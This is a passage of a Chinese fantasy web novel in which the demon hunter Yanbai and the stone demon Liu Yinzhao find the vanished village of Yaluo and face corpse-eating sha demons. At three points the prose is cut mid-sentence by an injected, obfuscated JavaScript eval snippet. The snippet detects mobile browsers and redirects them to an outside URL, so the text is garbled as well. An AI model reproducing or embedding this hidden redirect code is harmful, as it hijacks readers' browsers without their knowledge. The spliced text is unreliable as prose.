在常鹊羽家吃完了最后一顿晚饭,酽白向他辞别,准备第二日起早赶路。一旁的柳殷照见她这么快便要走,顾不得再思考,脱口而出要跟酽白同往。 常鹊羽倒还没感到惊讶,酽白翻着白眼瞥他,又想起前几日他说自己有用的事,觉得这妖实在脸厚,嘲笑道“你个妖居然想跟着捉妖师,是闲你那妖命太长了吗?实在那么闲,就去炼你的妖法,别整日里到处晃悠生事。” 酽白并没有把小柳的话放在心上,第二日仍旧按时起身离开了圻乡。 11. 崖罗 出来圻乡后,酽白按着地图指示前行,当视线里不可多见的出现了个小县城,她觉得是时候歇歇脚了,也好让某些妖现出身来。 这一代地理位置不好,经济发展也相当落后,随意选了一家小客栈走进去。此时天色还早,店里没有太多人。 “老板,一间房。” “好勒,姑娘楼上请。” 酽白突然心思一动,想出个捉弄人的坏点子,“这位阿姐,店里最差的房在哪儿。” 女掌柜年纪不算大,但气势很足,从行事作风来看活脱脱一个小辣椒。女店主虽疑惑,但还是指着后院说:“马厩旁有一间,是臭了点,里面还堆了杂货,但勉强也能住人。” “那麻烦阿姐帮个小忙,等会来的男子跟踪我多日了,遮头蒙面的不像好人,定是觊觎我身上的宝物。劳您配合小小惩罚他一番,把那间房留给他吧。对了,若他要吃食,也不可给太好。” 老板迎来送往多年,最见不得这些龌龊之辈,又看酽白一个姑娘,难免感同身受,当下决定要替她出口气。 果然,酽白进门后不久,另一道鬼祟的人影也进了客栈。 其实,酽白早就察觉到了,小石妖自出圻乡后就一直跟着她,开始还想不明白为什么,后来才想起怕是与雪妖有关。 前几日也就罢了,但接下来她可是要去抓鬼,这小妖怪可不能再跟着去。 柳殷照鬼鬼祟祟进入客栈,酽白藏身在二楼阴影处,暗暗盯着他的背影。 “老板,可还有房,给我开一间。” 柜台上记账的妇人抬起头,神色有些怪异,看着眼前遮脸蒙头的人很是鄙夷,又往楼上方向瞟了瞟,语气冷淡敷衍道,“楼上没了,后院倒是还有一间,你住不住?” 柳殷照怕跟丢捉妖师,不愿意换别的客栈,当下也顾不得好坏,连忙道,“住住,就这间。” 二楼上,酽白靠着柱子听楼下动静,得知砾妖住下后,露出得意神情,隐匿身形不见了。 店老板领着人到了后院,推开房门往后躲避,原来是积灰被扬起四处乱飞,“住下了就好好呆着,别干些有的没的,我可不是好脾气的人。”然后转身离开,还对着柳殷照哼声不止,甩起的发辫险些拍在他脸上。 饶是好脾气的人也无法忍受,更遑论他这只凌驾于人上的妖。 柳殷照眉头微蹙,这老板态度实在不好,明明第一次见面,拉着脸像是自己欠了她钱一样。几次欲吹起妖风掀翻女掌柜,又硬生生忍了下来。 罢了罢了,捉妖师还在店内,他得小心行事,就不与小小人类计较了。自己劝好自己,转身进入简陋屋舍。 取下遮脸面罩,满脸的疲惫倦态暴露。这些天捉妖师实在是太能走了,就没见她好好休息过,这就罢了,她老是穿山越岭,今日好不容易见她进城来,总算是过上了人该过的日子。 他的双腿早就酸痛难忍,好几次差点跟丢,心下也是佩服捉妖师,她已非常人,早练就出无情铁腿。 环顾一圈,眼前的屋子与杂物间无异,各种器具破旧不堪,旁边马厩时不时传来马儿哼哧的响鼻声,还伴有牲畜臭味,这环境实在太难接受了,他这辈子都没待过这种地方。 柳殷照直叹气,无奈的倒在床上。一瞬间,浑身的肌肉都得到放松舒缓,绵叹一声,这算是窘境之下唯一的满足,而后浓浓困意涌上。 不等他如愿睡着,猛然间一股灵力对着他侵袭来,起身后反应不及,四肢被紧紧缚住,吊悬于半空。 帘帐后走出一人,竟是一路跟踪的捉妖师,他还想将面罩戴上做无用的遮掩,却忘了自己丝毫动弹不了。 “跟了我这么久,也该露面了吧?小妖怪,跟着我干嘛?”酽白坐在他面前的圆凳,抬头看着他说到。 柳殷照不知捉妖师为何出现在自己房间里,再回想起刚才店家怪异的神色,莫不是酽白早就发现自己了,联合店家一起忽悠他呢。他就说这种角落里的客栈怎么会火爆到不剩一间房,殊不知是自己被戏耍了。 事已至此,再逃避不认也并无意义,他觉得索性趁现在坦白,继而央求捉妖师带他同行,说不定看在他真诚的态度上会同意呢。 “哈哈,酽白道长啊,我确实一直跟在你身后,谁料道长竟早早的发现了我,枉我还以为自己躲藏得多好。那个,雪箐在你那儿还好么?应当不添麻烦吧?” 他看酽白没说话,继续试探道,“道长你看我都跟你这么久了,不如让我继续跟着?此去崖罗路途遥远,道长又孤身一人,不若留我在路上做伴解解闷,况且若是捉妖需要,我也可帮助一二啊。” 酽白听完这话真是想骂妖,什么叫跟她这么久了,什么又叫留他解闷,说的她好像不要脸的莽汉。这石妖的脑子一定是坏了,不然何故如此蠢笨惹人生厌。 柳殷照听酽白没回答,以为刚才的话打动了她,又赶忙开口:“道长,我能帮你捉妖,之前你是见过我妖法的,也算有用。还有,我向道长保证,并非要一直赖在你身边,等之后找到去处,就立马带着雪箐离开,绝不多打扰你。” 若是只为雪箐,酽白一定不会把他留在身边,但他化石为障的妖法确实很吸引人。砾妖极善防御,所使的保护性术法尤为强悍,若是配合她捉妖,岂不是替她省了不少事。 “道长也知道,我们砾妖一族很受欢迎的,人和妖都想抓我们。我之前一直生活在枰溪镇,没去过其他地方,外面的世界我一点也不懂,就怕哪天被被坏心眼的东西抓走小命不保。道长是好人,在你身边肯定不会有事。而且我不能抛下雪箐不管,所以,求道长收留我一段时日吧。”小石妖语气悲戚的说了一大通,字字句句都充斥着哀愁。 酽白觉得有理,不如先将他留下来,说不定去抓鬼能用得上他,等这件事办完再打发他离开。况且,就算她此刻不答应,难保砾妖不会想别的办法跟着,何故平添麻烦。 “道长若想好了,就把我先放下来吧,这样挂着挺累的,好多天没休息了。”小柳有些熬不住了,只能再次乞求酽白。 酽白也不想继续听他叽叽喳喳,抬手撤掉了禁锢,小柳一下失力跌坐在地板上。 “留下可以,但最好听我的话,不然拿你去喂鬼,还有,明天上午继续赶路。”酽白说完,双手抱臂回到了自己的上房。 她也在这臭烘烘的房间待不下去了,走之前看柳殷照垂着眉眼太过可怜,还是温声提醒他,“行了,收拾东西重新开间房,钱自己出。” 他就知道酽白道长是好人,麻溜的起身去找老板了,然后在老板审视的目光中住到了酽白隔壁房间。 傍晚时候,酽白下楼吃完饭也不见砾妖出门,不免后悔,就他这点儿精力,别还没到崖罗就先累倒了。 好在休息了一晚,柳殷照总算是恢复了过来,翌日上午,早早的就在楼下等着酽白,“酽白道长,这儿呢。” “道长快吃东西吧,我刚刚买的还热乎呢。” 酽白也不客气,她拿走圆圆的肉饼放进嘴里,含糊开口,“你一个妖怪,哪儿来的钱买东西?” “欸,道长放心,我可没偷没抢啊,之前在枰溪镇,我跟着人类朋友做过生意,多少嘛也赚了点。这不,我全拿出来供道长享用。” 酽白不再看他,大口吃着美味早饭,脸上是藏不住的美态,往后的饭票有了! 出了门后,秋风初起,凉凉爽爽沁人心脾。酽白换上了褪色的秋衣,不觉间注意到砾妖,这妖怪华服遮身,贵公子的气息掩盖不住,哼,小日子过得挺滋润啊。 接下来到崖罗不过两三日距离,越往前走越偏僻,沿途没了客栈歇脚休憩,二人白日赶路,晚间随意宿在山野。 自从同意柳殷照跟随后,他的胆子是越来越大了,闲时总爱跟酽白话家常,虽说她是不那么讨厌他了,但也还没到能跟他多话的地步。 路上就越荒僻不堪,行人几乎是看不见的,在连着几日风餐露宿后,二人进入到了崖罗地界。 刚进城,入目的就是满城凋敝,街道本就狭小拥挤,还堆着好多杂物,因着没有好好收拾,看起来异常脏乱,夸张点说真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546909|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以下脚。 房屋鳞次栉比,密密麻麻延展开,却仅有几家店铺开门迎客,整条街都暗沉沉的,看上去就不像好地方。 人更是没几个,稀稀拉拉聚集在角落避风处,小柳没见过这种地方,一时有些怔楞。 “酽白,这真是你们人类的城吗?怎么跟枰溪镇的不一样啊?” 酽白从前就听人说过,这崖罗是瘴疠之地,环境恶劣,疾病盛行,少有人在,只是亲眼所见远比听说到的更为不堪。 “崖罗本就地处荒蛮偏僻处,这番景象有什么奇怪的,这还是在城里,只怕到去闹鬼的村子更让你开眼。” 城中各处都一样的差劲,他们辗转几圈,才找到一处适合落脚的地方,外乡人很少到这里,店家瞧着一下定出去两间房,咧开嘴角狂喜。 到崖罗的时候已过午时,二人顾不得饿意直奔床榻,睡了一下午后,精气回体,肚里的空落感尤为明显。 窗外完全黑下,偏僻的城镇连星月也嫌,整座城里路边照明的灯盏两只手就能数清盏数,一眼望尽全貌,黑压压的无端叫人心发慌。 酽白转身下楼,柳殷照早已在桌边坐好,正叫老板上菜。 “酽白,快来快来。这里的客栈真是不行,好多菜都没有,我们先将就吃些……” 他的嘴不停歇,直到酽白呵斥后才闭口不谈,“闭嘴,好好吃你的饭。” 酽白拿过筷子夹了菜食往嘴里送,尝过后才发觉他说的不错,确实难吃,她草草吃了几口就再不动筷,倒是柳殷照真的将就着吃了好些。 “明日我去找找路,看看能不能去崖罗村,你若要跟着就早点起,不去就自己在城里好好呆着。”酽白端起茶杯喝水,企图冲刷掉嘴里不喜欢的饭味。 “崖罗村,不是说不见了吗?你怎么去?从哪儿去啊?” “所以我才要去找路,柳殷照,你要不吃了就早点上去睡觉,别再问这些蠢问题。”酽白看着他只觉无语,不听他回答就起身回了房间。 一大桌菜捉妖师只略略吃了几口,柳殷照料想她肯定不喜欢吃这些,又在那儿暗自琢磨办法,想在酽白面前显露自己的用处。 第二日,将将卯初一刻,天才有了点亮光,酽白就收拾好下楼。 昨日没听见砾妖答复,已经默认他不去了,出门也没打算跟他讲。 然而,刚掀开一楼大门的厚重棉帘,就撞上捧着几包东西的砾妖,看他这样子像是才回来。 他满脸笑意,“酽白,你起这么早啊,我若再晚回来一会儿,你岂不是就走了。” 说着将她拉回帘子里边,烛光一照,酽白才看清他怀里的纸包应当是些吃食,油渍已经浸透了外层黄纸。 “快来,我刚出去买了好吃的,吃完咱俩一起去。” 酽白难得没有拒绝他,昨日本就吃的少,现在看着这些香酥冒热气的食物,着实有些难以拒绝。 等到好好享用完早饭,他们才慢慢出了店门。 酽白抬头看天,此处的秋日少见阳光,不出意外又是阴天,一直走到城门口都没看见几个人,也是,这荒野之地谁没事愿意在外面瞎逛呢。 好在他们运气不错,在路边遇见一位本地老妇,从她嘴里问到了崖罗村旧址,酽白一路摸索着过去。 到了正确地点后,确实发现了很大一块空地,地面有大片的轻微塌陷,应当是修建房屋时地基处理不当导致的。 酽白没想到这么容易就找准了地方,之前圻乡的人说他们进过村子,可她现在并没有瞧见崖罗村,不知那几个普通人是去的哪里,又是如何进去的。 柳殷照自己在周边转了一圈回来,“酽白,就是这里吗?我感觉不太对啊。” “怎么了?” “我们妖物的感知可比你们人类灵敏,这里好像有很厉害的大妖,而且还有很重的戾气,总之啊不是个好地方。” 酽白听完也满头疑惑,砾妖说的话她是相信的,现在的疑问是消失的村子到底在哪儿?如何才能进去?有戾气的大妖为何不见踪影? 12. 受邀进村 在附近找了很久,酽白确信没有任何痕迹,难道被人做了手脚?这么大手笔普通人必不可能,除非是法术。 整个村子不可能毫无动静的消失,定是有人用法术将它隐藏起来了,所以别人才发现不了。 眼下的情况,好像只有这种解释才说得通,但酽白没听过有能维持数年之久的法术,总不能是这些年来那人持续施法吧,他有再多法力也支撑不了如此大的消耗。 对了,先前的两个村民说他们进过村子,他们又是从何处进去的? 酽白思考得有些饿了,正想着如何在荒郊野外解决午饭。旁边柳殷照见酽白走不动道,猜想捉妖师应该是饿了,献宝似的掏出早早准备好的吃食。 “道长是饿了吧,快看我这儿。” 鲜香美味在眼前,酽白都没问这些食物从何而来,直接拿起酥饼就吃,直至饱腹后才恍觉不妥,又看正在酣吃的小妖,料想他也不敢在自己眼皮子底下行偷盗之事。 吃饱喝足,她随意躺在荒地上发饭晕,经过一上午的转悠,没发现有用痕迹。她更加确信自己的判断,崖罗村定是被藏起来了。 此地若经术法掩藏,必会留有痕迹,她用自身灵力感知过,并无所获。 除非,那人的法力比酽白高太多,才能施下让她也察觉不到的术法,若真是这样就麻烦了,面对比她更强的人,自保都是问题,更不要说从他手里救人夺村了。 酽白摇头深深叹口气,在腰袋里捡捡挑挑,最后掏出一张有点旧的符纸。上面画有一只猫,额间有只黄色竖曈,身后有三尾。 柳殷照知道酽白正在做要紧事,早早退开到一旁去仔细观察着。 她将符纸摊开合于掌间,嘴里默念着法诀,而后掌间发出强烈白光,柳殷照被刺得闭了眼。 再看时,就见那符纸上的异形猫变得立体,是一只有灵气的黑猫,额间的第三眼缓缓睁开,黄曈明亮澄澈。 它在酽白周身三尺内游走驻足,鼻子一耸一耸的嗅着,细细打量着周围,酽白也随它而动,跟它同方向转身。 须臾,三尾猫似有发现,眼神凌厉的看向一处,冲着那边低声发出吼叫,酽白跟随它的目光也注意到那处位置。 确定位置后,酽白睁开眼,三尾猫的身形瞬时变小,再度回到符纸上,成为静物。 “找到了,在那边。”她说着就往那边去,柳殷照也快步跟上。 刚才像是看了场幻术,柳殷照跟在酽白身侧,颇有兴致的问道:“酽白,你刚刚那是小猫吗?怎么是三只眼、三条尾的猫,这也太神奇了,而且还会探路,它是怎么找到的?” “酽白你会跟它说话吗?你们怎么交流啊?” 酽白被这么多问题缠住,一时不知先答那个,最后一反常态向他解释了一二。 猫常被视作有“通灵”特性,民间认为色泽纯正的猫能夜视阴阳,预警邪祟,但那只是因为猫的感官超于常人,所以才能感知到人无法预见的事物。 “我符上所画乃三尾灵猫,它的第三只眼才是真的通阴阳,能够窥破幻象、识清鬼怪。” “崖罗村应该被人施法藏起来了,但我找不到法术的痕迹,所以才要借助它的第三眼,那个方向就是它帮我找到的答案。” 柳殷照露出恍然大悟的神情,“原来是这样啊,难怪我们找不到崖罗村。” “那找到了,我们就赶紧去吧。”柳殷照有些迫不及待,这些东西可都是他之前在从未见过的,现在正是好奇的紧。 “崖罗村的情况看来是有些复杂,你若真跟我进去,一两日可是出不来的,说不定还有大危险。”酽白看着柳殷照道出实情,想让他考虑清楚,毕竟一旦进去会发生什么她也说不准。 谁知他仍旧嘻笑,“酽白,我又不骗你的,都说了跟你一起去,怎么会现在走掉。” 酽白不再劝告他,反正是他自己要去的。 到位置后,她抽出双鸣剑,对着空无一物的半空劈下,无形之中有屏障阻隔双鸣,半空中也见不到剑刃留下的痕迹。 正要提剑再劈一记时,一股强劲妖力凭空而出,将酽白和柳殷照双双吸入。 一阵天旋地转,二人极速下坠,酽白及时稳住身形平缓落在地上,柳殷照反应虽慢了些,但好在酽白及时抓住他,也是没有摔得太惨。 双脚落在地上的瞬间,寒凉之气扑面而来,这里居然是冬天! 柳殷照倒还好,他是妖不惧寒暑,酽白就不太妙了,单薄的秋衣无法御寒,身体逐渐失温。 “酽白,我们这是进来了吗?”柳殷照四处张望,脸上尽是疑惑不解,他舒舒服服的秋天一眨眼就不见了。 酽白瞧了瞧:“嗯。” 刚才酽白通过三尾灵猫发现,这里不止一个空间,原本的崖罗村在外面的正常空间,就是普通人能看见的那个。这里,是另一个空间,它比崖罗村更早存在。 最开始可能也是正常世界里的一部分,只是后来从外面的世界中割裂开,成为了单独的世界,也不被凡人感知到。 她方才是想劈开裂痕进来,可并没成功,有妖力将他们拽了进来,不出所料那只妖也有别的企图。 酽白探了探半空,没有裂口,这下好了只进不出,该死的幕后操控者,最好别让她逮到,居然还控制上捉妖师了。 “酽白,你说那股妖力会不会是之前我感知到的妖?崖罗村那么大一个村子,要将它完全纳进这里,需要多大的法力啊?”这已经超出了柳殷照的认知,他一只106岁的小妖,根本不敢想这种事。 酽白也不答不上来,只能说他们这次真的遇见厉害妖物了。 二人往前走了走,果然瞧见了消失已久的崖罗村。不等酽白说,柳殷照也紧张起来,死死警惕着周围一切。 刚靠近村子,就看到有人影晃动,酽白绕过小土坡悄悄上前,那几人分明是普通人,看来村里的人真的还没死。 到崖罗村之前,她已经了解过情况。 从前的崖罗村地处偏僻,本地居住的人甚少,大部分都是外来客。当然,来的也不是什么好人,多为穷凶极恶之徒,在别地儿犯了案潜逃至此。 此地荒脊,经济效益极低,丝毫不得朝廷重视,地方官府慢慢的也不大管事了。 当时一窝匪寇逃至此处占领了崖罗,他们壮大实力后公然反抗官府,朝廷数次派兵剿匪也都无功而返,最后半放弃了这里。 上一任匪首徐邑接管村庄后,更是肆意抢掠,丝毫不顾及民众死活,一度成为人人恨之欲杀之的凶徒。 酽白小的时候就听说过徐邑,本来这小小盗匪与他们捉妖师并无干系,坏就坏在徐邑结识了个修法之人。 那人自称奇异道长,听说原是个正派弟子,因偷习了宗门禁法后潜逃在外,来到崖罗时与徐邑两相碰头。 他们蛇鼠一窝,没多久二人就结为兄弟,徐邑常替奇异道人抢夺美人,供他享乐。作为回报,他将门派禁法传给徐邑,有了法术的加持,徐邑更是肆无忌惮,所经之处灾祸横行。 如此过了几年,徐邑独断横行,残暴肆意,手下人皆是苦不堪言。 终于,身边人起了杀心,恰逢奇异道人的门派追踪至此,当地官员迫于情势向朝廷上书请求剿匪。徐邑的心腹屡次背叛、出卖他,又遭朝廷与宗门联合围剿,最终二人双双丧命。 那之后,崖罗倒是安生了一段时间,谁知这只是更大灾祸的前兆,这不,村子直接连人带房一起消失了。 当时王朝将倾,朝廷腐朽,一时间无人下令严查,等政派稳定后,再派人前来查看时已无法查明原因,后面倒也请了些捉妖师去探清情况,可都是徒劳。 酽白等那几人走后,带着柳殷照悄悄摸进村,她发现这里还有许多普通村民活着,只是他们似乎只在村内活动,不会踏出村子半步。 太阳在与月亮的斗争中逐渐溃败隐入虞渊,天空色泽由浅入深,最后一片低垂的云霞被黑夜寸寸侵蚀,周遭寂静淡然,夜幕在此刻真正降临,吞下这整个空间。 酽白走到一处荒地,瞬间觉得不对,等她反应过来时,周边黑暗处已藏进众多厉鬼。 云层偶尔飘过,月亮光辉时隐时现,再次照下地来,酽白和柳殷照借着亮光都看清楚了。 是数量庞大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有了酽白的阻挡,柳殷照终得起身的时机,点头示意无事。 焰火四起却没烧到任何妖,这下能确定就是布匹起了作用,只是不知到底为何物所制,居然如此能抗。 眼看灵火燃尽,妖怪们又要围上来,柳殷照只好团积石块铸成壁障挡上一挡,两人这才得以喘息片刻。 “酽白,我们怎么办,根本就杀不死他们,这样耗下去,我俩必死啊。” 酽白摇头,喘着气反问他,“你是妖,见没见过那块邪乎的布,那东西很厉害,什么术法都破不了,要想杀死他们,肯定要先卸下那布才行。” “我才多少岁你又不是不知道,以我这浅薄的妖生阅历,怎么会见过这种要命玩意儿,你问我也没用啊。”柳殷照哭丧着脸,眼看石壁难挡。 生死攸关之际,远处传来不小的动静,随后像是有什么东西吸引了妖物,他们转身齐刷刷离开了。 待他们走后,柳殷照撤掉屏障,见到几个村民同他们招手,示意他们进村。 酽白毅然前往,人总比妖好对比吧,这才同柳殷照躲过妖怪。 进村后行了一段距离,几人走进一间燃烛的房间,刚带他们进村的应该是领头人,剩下几个村民很是听他的话。 “二位请坐,刚才甚是惊险,喝点茶歇缓片刻吧。” 酽白没动,柳殷照接收到酽白的眼色也保持静止。 初来此地,谁知这些人是好是恶,刚才在村外,他们也应当早早就来了,是观察了他们后才出手相救。 看出酽白的不信任,领头之人再次开口相邀,“姑娘存疑也情有可原,我的确有所图,但也是针对村外妖怪,并不会危及你二人。今日天晚,二位可在此屋歇息一晚,明日再谈。” “放心,我们都不是恶人,不会害你们的,对了,若要吃食就叫隔壁的老翁准备。”刚说完,那群人就退出了房间。 酽白透过窗户看他们走远,外面一片漆黑,偶有劲风四起乌拉作响,颇有掀翻屋顶之兆。 不管这里隐藏着什么,酽白都会找出来。 13. 消失的村子 酽白在房内巡视一番,并无不妥之处。柳殷照见无恙,出门去隔壁向老翁要了些热乎吃食,酽白刚刚费了力,现在肯定饿坏了。 “酽白,他们好像不是坏人,难道真的只是为了救我们?” “不清楚,等明日再看看。不过,他们在这待了很长时间,比我们更了解这个地方,先别轻易相信他们。”酽白怕他轻信于人,提前告诫了一番。 两人吃完饭无事可做,酽白在门边布下符阵,若有人进来她能立刻察觉,那只无聊的小石妖一直在屋内来回踱步,一个不小心碰倒了矮凳,寂静的夜里发出清脆响声。 他立时停住,在酽白开口前率先发声,“酽白,隔帘后有张小点的床,里面不会透风,你怕冷睡里面吧,我睡外间。” 刚才路上捉妖师的反应他都看清了,她很怕冷,一路死咬着牙根儿说话。 此话一出,酽白眉眼缓和,偏头看向里间,她确实怕冷,就不跟他推脱了。 油灯吹灭,两人各自躺在床上琢磨心事,这是他们进入崖罗村的第一晚,虽然惊险,但好在找对了地方。 第二日,天还没大亮,酽白就醒了过来,动作轻缓来到外间,柳殷照抱着被子仍在熟寐。 她推开门遭受了寒风的揉捏,后又默默退回去合拢门,不知道为什么,这个空间正值冬日,她最不喜的季节。 卯正刻正是昏黑时,外面寒气逼人,酽白特意在此时起身,就是为了出门。若昨晚真有人盯梢,看见他们酣睡半夜定会放松紧惕,盯梢一夜眼下又正是困顿之时,难免有疏漏处,酽白偷偷溜出去要方便很多。 外面灰蒙蒙一片,她身形灵活隐入混沌中,住处周边大致看完,竟真的没找到窥探的人,看来的确是她想错了。 在村里四下摸索个遍,一处石屋旁聚集了几个人,是昨晚让他们进村的那群人。 个个闭口不言,脸色也煞是沉重,看样子是遇到了难题。小心避开他们后回到住处,进屋刚坐下喝了口茶水,柳殷照从床上翻身起来。 “你回来了,外面怎么样,有什么发现吗?”他显然知道酽白去干嘛了,走到桌边给自己也倒了水喝。 酽白身上还残留有外界寒气,柳殷照将屋里的小炉子挪到她旁边,这是刚才向老翁讨来的,里面还烧着小木块。 酽白一边烤着火让身体回温,一边说着自己的发现。 村里大致有二十一户人家,共计七十余人,其中年轻人和小孩儿居多。 村里有很多空房子,从里面留下的生活痕迹来判断,那些人不是同时消失的,时间上有先后,最近一户,大概是前几日不见的。 柳殷照听完也有些疑惑,“真是奇怪啊,他们的村子先从外边消失了,现在村民又在里面消失了。” “我回来的路上看见了昨天那几个人,他们这么早聚在一起,怕是有重要的事。我没靠近他们,不知道在商讨什么,等会见面的时候小心些说话。” 果然,歇息不多时,就有人上门了。 “不知二位昨夜住得还好吗?” 酽白打量了眼前人,看面貌是四十多岁,仍就一副兰台明润相,不像是个凶恶之人。 “很好,多谢收留。” “没怠慢你们就好,我叫覃毓,是这村里管事的人,若是有需要尽可以找我。” 酽白对这些并不感兴趣,她直白迫切的问道:“昨日在荒地伏击我们的是何物,覃兄可能告知一二?” “姑娘真是心急,还未曾明了你们的身份,就开口向我打探消息了?”覃毓反向询问,他必须先确定好他们的身份和来此的目的,有用是最好的,没用那就怪不得他们不留活路。 “她叫酽白,很厉害的,我叫柳殷照,只比她差一点点。”柳殷照替酽白答了话,其他的并不多说一句。 覃毓看酽白没有开口的意思,当即明了这姑娘不是心思简明的,只好自己先说话。 “罢了,我告诉姑娘吧。昨日那些东西我们也不知是何怪物,只知道他们是从坟地里冒出来的,就是村外的那块荒地,里面有很多坟。” 覃毓一众人被困在这里有几年了,也算是琢磨出些办法。那东西喜欢吃死人,也不是真的吃人身体,他从前听道士说人死后身上有凶气,怪物们好像就是吃那个。 昨日村里死了人,当时为了救酽白他们,覃毓叫村民将尸体抛出,才诱得怪物离开,不然只凭几个村民也是无法施救的。 吃死人凶气?生于坟地之中?酽白觉得有点熟悉,这种妖……她见过。 “是煞妖,一种古老的妖,他们喜食殃煞,你刚才说人死后的凶秽之气,其实就是殃煞,这种凶气长时间不驱除会伤活人魂魄。江湖中有些人以驯养煞妖为业,常在丧葬祭礼上出现,为的就是除殃煞。” 几人听完一阵惊呼,但酽白却有些疑惑,煞妖一般很难出世,通常只在坟墓众多或墓主冤屈极大的地方出现,同一片坟地生出的煞妖数量也是有限的。昨日那荒地坟场她已瞧过,不可能会出现那么多煞妖啊。 覃毓讶然之余重新审视起酽白,既能认出那是煞妖,想必是有点本事的,看来这姑娘真能帮助他们。 酽白又想起那布,“对了,煞妖身上为何有块布,那是什么东西?” “这倒是没注意过,他们从出现就一直都有,我还以为这妖怪本来就这样。”覃毓答完了酽白的问题,又带着试探问道,“我看姑娘很是了解这些妖物,不知姑娘是做什么的,可能帮帮我们除掉这些妖?” “除妖啊,这简单,找我们酽白道长就对了。酽白道长声名在外,法术更是高强,定帮你善了此事。”柳殷照在一旁多话,全然没注意到酽白看他无语的神色。 “身负责任,定当尽力而为。”酽白朝着覃毓示意,虽不满柳殷照多嘴,但捉妖一事她本就责无旁贷,推脱不得。 现在知道是妖作恶,酽白打算早点查明原由,当下立马向几位村民发问,“你们可知,村子为何会消失数年?这期间可曾有人出去过?” “啊?消失?什么消失?” “不知道啊,她在说什么?你听懂了吗” “我也不明白啊。” 覃毓身后的几人低声窃语,看他们这反应并不似作假,难不成他们还不知道崖罗村已经脱离了正常空间吗? 酽白将目光移向覃毓,他也满脸不明所以,“酽白道长清细细说来,你这话是什么意思?” “你们不知道么,崖罗村已经从正常空间里消失了,现在这地方是另一个空间,也就是说,你们整个村子脱离了外面普通人生活的世界,被隔离在这儿。” 听完酽白的解释,众人还是不信。 这次不等酽白开口,柳殷照对着众人道,“难道你们没发现自己出不了村子,外人也进不来吗?这么多年,你们没有与世隔绝吧,那村里怎么可能一个外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546911|186744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都没有,真是全糊涂了?” “不不不,道长,我们出不去是因为那个什么煞妖。我们出了村子就会受他们的攻击,待在村里就没事,虽然不知道为啥,但能保命就行,所以大家才不出去。”覃毓其中一个手下道出原因。 另一个村民也迫切解释,“至于外人,那也是有的嘛,之前就有捉妖师或什么仙人大师来村里,说是要帮我们抓妖,结果最后都被妖吃了。”说到这,他有点怀疑的看向酽白,再开口的语气有些不善,“你这女道士,不会也是骗我们的吧?就凭你跟这个瞧着没半分力气的男人就能抓到大妖怪了?最后别被妖抓走了才好。” “就是,而且前些日子还有人大半夜的误闯我们村子,吵吵闹闹不成样子,你这小姑娘分明乱讲。” 酽白猜测,他说的那几人应该就是圻乡的村民。 听见众人的嘲讽,覃毓也感到有些失礼,连忙喝止他们,又向酽白二人赔罪。 “两位莫要见怪,我们也是走投无路了,心下难免焦急。道长刚才所说我细想后觉得有理,只是我们也说的情况也确属实,这不知作何解释啊?” 酽白听完村民的话已经全然明了,“煞妖只是困住你们的借口,借村里安全来留住你们所有人。至于外人,除了捉妖师一类外,可还见过其他人?崖罗村虽偏僻,但总不至于连行商都不得见吧,这难道不可疑吗?” 几人细想觉得有道理,但还是有不死心的,“那……那前段时间闯进来的人算怎么回事?” “他们是误闯进来的,遮掩村子的结界时间太久,有些不稳定了,我来到这里也是因为他们。” 酽白倒是没说有另一只大妖的事,怕给村民吓坏了。 几个村民思考一番,显然发现了不对劲,终究是信了酽白的说辞,“道长,这可该怎么办?” “道长可要救我们啊。” 到目前为止,酽白也还没头绪,柳殷照这次倒是会看眼色了,适时开口打断了众人,“行了,你们先回去吧,容我们思量对策。” 他找借口送走几人,回头看见酽白对他露出不明笑意,看得他后背发凉。 “小妖,你这不是挺会看人脸色的么,如此心细妥当,不若从此做个小侍,随侍在我身边,如何啊?” “你可别想,好端端的我为何要给自己找苦吃,更何况我是妖,你是捉妖师,给你做小侍,以后还不得被其他妖笑话死啊。” “好了,酽白,别说有的没的,快说有什么办法。” “没有,想不出来。” 酽白现在最关心的是煞妖身上的布,那到底是什么东西?又是为何出现在煞妖身上的? 总之这一天下来,酽白没有得到太多有用信息,他觉得覃毓还有事没说,暗自决定明日再把村子摸索一遍。 村里来了外人的事瞒不住,时常有村民来向覃毓打听消息,得知来的是个捉妖师后,村里气氛逐渐变得紧张。人人忧虑不已,害怕如前几次一样,最后空无所获,还是只能绝望的在这里等死。 第二日,酽白把计划跟柳殷照说过,让他去村里跟村民套话,看能否知道些别的消息,自己则去覃毓那儿看看。 天色比昨日更显暗沉,湿冷之意深入骨髓,怕是要下雪。酽白每日晨起都得劝慰自己无数遍,才能狠下心,一鼓作气离开温热被窝。 不愿意再拖下去,的早点解决这个烂摊子,然后逃离这儿。 14. 煞妖 再次路过那些空置的房屋时,酽白进入里面翻找线索。 无人居住的屋内,厚厚的灰尘遮掩了原本的痕迹。有些应当是自愿离开的,有些可能是打斗后被强行带走的,总之不甚重要。 